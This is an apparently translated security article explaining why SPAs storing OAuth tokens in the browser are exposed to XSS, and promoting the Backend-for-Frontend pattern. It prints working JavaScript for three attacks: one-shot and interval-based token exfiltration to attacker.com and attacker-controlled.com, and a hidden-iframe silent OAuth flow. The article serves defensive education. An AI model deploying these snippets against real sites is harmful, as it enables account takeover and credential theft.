No Chance for Token Theft: The Backend-for-Frontend Pattern
The Backend-for-Frontend pattern addresses security issues in Single-Page Applications by moving token management back to the server.
(Image: Stokkete/Shutterstock.com)
- Martina Kraus
Single-Page Applications (SPAs) have fundamentally changed the development of web applications; they are faster, more interactive, and offer a desktop-like user experience. But with this progress came a fundamental security problem: How to store access tokens securely in the browser?
While traditional server applications securely managed sensitive authentication data on the server side, SPAs rely on storing access tokens and refresh tokens directly in the browser – be it in localStorage, sessionStorage or JavaScript memory. However, these tokens are a feast for attackers: a single XSS attack is enough to gain full access to user accounts.
The Backend-for-Frontend (BFF) pattern moves token management back to the server, where it belongs, without sacrificing the benefits of modern Single-Page Applications. This article takes a practical look at the Backend-for-Frontend pattern, explains the underlying security issues of SPAs and OAuth2, and shows how secure authentication can be integrated into modern web applications. It covers both technical implementation details and remaining challenges, such as protection against Cross-Site Request Forgery (CSRF).
(Image:Â jaboy/123rf.com)
Call for Proposals for enterJS 2026 on June 16 and 17 in Mannheim: The organizers are looking for talks and workshops on JavaScript and TypeScript, frameworks, tools and libraries, security, UX, and more. Discounted Blind-Bird tickets are available until the program starts.
The Problem: Tokens in the Frontend
Single-Page Applications are, by definition, "public clients" – they cannot securely store secrets because their code is executed entirely in the browser. Nevertheless, they need access tokens to access protected APIs. The logical consequence: the tokens must be stored somewhere in the browser. This is precisely where the problem lies. Whether localStorage, sessionStorage, or in-memory storage – all approaches are vulnerable to Cross-Site Scripting (XSS) attacks. Injected malicious code can easily access these storage locations and forward the tokens to attackers.
The RFC draft "OAuth 2.0 for Browser-Based Applications" highlights the extent of the problem: as soon as attackers can execute malicious JavaScript code in the application, they have virtually unlimited access to all data stored in the browser – including all access tokens.
Here are some of these attack vectors in detail.
Single-Execution Token Theft
The most direct attack: JavaScript code scans all available storage locations in the browser and sends found tokens to an attacker-controlled server:
// Angreifer-Code extrahiert Token
const accessToken = localStorage.getItem('access_token');
const refreshToken = sessionStorage.getItem('refresh_token');
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({accessToken, refreshToken})
});
Listing 1: Typical attack via Single-Execution Token Theft
This attack works regardless of where tokens are stored. Whether localStorage, sessionStorage, or in memory (in a JavaScript variable) – the attacker has the same access as the legitimate application.
Protective Measures and Their Limits
A short token lifespan (e.g., 5-10 minutes) can limit the damage but not prevent it. If the attack occurs within the token's lifespan, it is successful. A better protective measure is to enable Refresh Token Rotation. With this, the old refresh token is invalidated and a new one is issued with each token refresh:
(Image:Â Martina Kraus)
As the image above shows, you get a new refresh token with each new access token. Assuming the attacker steals the token pair once, they would gain temporary access during the access token's lifespan, but upon the first use of the stolen refresh token, the token provider would detect token reuse (Refresh Token Reuse Detection). This triggers a complete invalidation of the token family – both the compromised refresh token and all associated tokens are revoked immediately, preventing further misuse.
(Image:Â Martina Kraus)
Persistent Token Theft
However, this protective measure completely fails with Persistent Token Theft. Instead of stealing tokens once, the continuously monitoring attacker steals the latest tokens before the legitimate application can use them. A timer-based mechanism extracts the latest tokens every few seconds:
// Angreifer installiert kontinuierliche Token-Ăśberwachung
function stealTokensContinuously() {
const currentTokens = {
access: localStorage.getItem('access_token'),
refresh: localStorage.getItem('refresh_token')
};
// Neue Token sofort an Angreifer senden
fetch('https://attacker-controlled.com/continuous-steal', {
method: 'POST',
body: JSON.stringify({
timestamp: Date.now(),
tokens: currentTokens
})
});
}
// Ăśberwachung alle 10 Sekunden
setInterval(stealTokensContinuously, 10000);
Listing 2: Persistent Token Theft
This attack works through implicit Application Liveness Detection: continuous token theft not only transfers tokens to the attacker's server but also acts as a "heartbeat signal" of the compromised application. If the user closes the browser or navigates away, this heartbeat stops – the attacker immediately recognizes that the legitimate application is offline. During this window, they can safely use the last stolen refresh token for their own token requests without triggering Refresh Token Reuse Detection, as there is no competing application instance that could use the same token in parallel.
Current OAuth2 security guidelines for SPAs aim to reduce JavaScript accessibility of tokens. Leading identity providers like Auth0 by Okta explicitly advise against localStorage-based token persistence and instead recommend in-memory storage with web worker sandboxing as protection against XSS-based token extraction attacks – even if this prevents session continuity across browser restarts.
However, these defensive token storage strategies only work on a portion of the attack surface. Even with optimal in-memory isolation using web worker sandboxing, a fundamental architectural problem remains: SPAs act as public OAuth clients without client secret authentication. This client configuration allows attackers to completely bypass the token storage problem and instead initiate their own Authorization Code Flow – an attack vector that works regardless of the chosen token storage strategy.
Acquisition of New Tokens
In the attack called Acquisition of New Tokens, the attacker thoroughly ignores existing tokens and instead starts their own, completely new Authorization Code Flow. This is particularly insidious because they exploit the user's still active session with the token provider.
The attacker creates a hidden iframe and starts a legitimate OAuth flow:
// Angreifer startet eigenen OAuth-Flow
function acquireNewTokens() {
// Verstecktes iframe erstellen
const iframe = document.createElement('iframe');
iframe.style.display = 'none';
// Eigenen PKCE-Flow vorbereiten
const codeVerifier = generateRandomString(128);
const codeChallenge = base64URLEncode(sha256(codeVerifier));
const state = generateRandomString(32);
// Authorization URL konstruieren
iframe.src = `https://auth.example.com/authorize?` +
`response_type=code&` +
`client_id=legitimate-app&` + // Nutzt die echte Client-ID!
`redirect_uri=https://app.example.com/callback&` +
`scope=openid profile email api:read api:write&` +
`state=${state}&` +
`code_challenge=${codeChallenge}&` +
`code_challenge_method=S256&` +
`prompt=none`; // Wichtig: Keine Nutzer-Interaktion erforderlich!
document.body.appendChild(iframe);
// Callback-Handling vorbereiten
window.addEventListener('message', handleAuthCallback);
}
function handleAuthCallback(event) {
if (event.origin !== 'https://app.example.com') return;
const authCode = extractCodeFromUrl(event.data.url);
if (authCode) {
// Authorization Code gegen Tokens tauschen
exchangeCodeForTokens(authCode);
}
}
Listing 3: Acquisition of New Tokens
The token provider cannot distinguish this attacker-initiated flow from a legitimate application request because all request parameters are identical. Crucially, the prompt=none parameter allows for automatic authentication without user interaction. This silent authentication works through session cookies that the token provider previously set in the user's browser to track their login status. These session cookies are automatically transferred via the hidden iframe and validate the attacker's flow as a legitimate request from an already authenticated session.
The fundamental prerequisite for all described attack vectors is the successful execution of Cross-Site Scripting code in the context of the application. This raises a fundamental question: Is Cross-Site Scripting (XSS) still a realistic threat in modern web applications?
XSS was long considered a solved problem – modern browsers have implemented comprehensive protective measures, frameworks offer automatic escaping, and developers are aware of the dangers. But reality shows a different picture: such attacks have evolved and use new attack vectors that bypass classic protective measures.
Supply Chain Attacks as the Main Threat
Modern Single-Page Applications integrate an average of hundreds of npm packages. A single compromised package in the dependency chain is enough for complete code execution in the browser. The most prominent example was the npm package event-stream compromised in 2018 with two million weekly downloads, which specifically targeted Bitcoin wallet software.
Content Security Policy cannot distinguish between legitimate and compromised npm packages – the malicious code is loaded and executed from a trusted source. Similarly problematic are compromised Content Delivery Networks or third-party widgets such as analytics tools, chatbots, or social media plugins.
Browser Extensions and DOM-Based Attacks
Compromised browser extensions have full access to all tabs and can inject arbitrary code into any website. At the same time, DOM-based XSS attacks via postMessage APIs or insecure DOM manipulation allow bypassing many server-side protective measures. Polyglot attacks, which abuse JSONP endpoints or other trusted APIs to bypass Content Security Policy, are particularly clever – the malicious code appears as a legitimate request from an allowed source.
These modern XSS variants are particularly sophisticated because they exploit trust. The malicious code appears to come from trusted sources, is often executed with a delay or only under certain conditions, and thus bypasses both technical protective measures and human attention. A compromised npm package affects not just one application but is distributed to thousands of projects via the package manager – a single attack can thus achieve massive reach.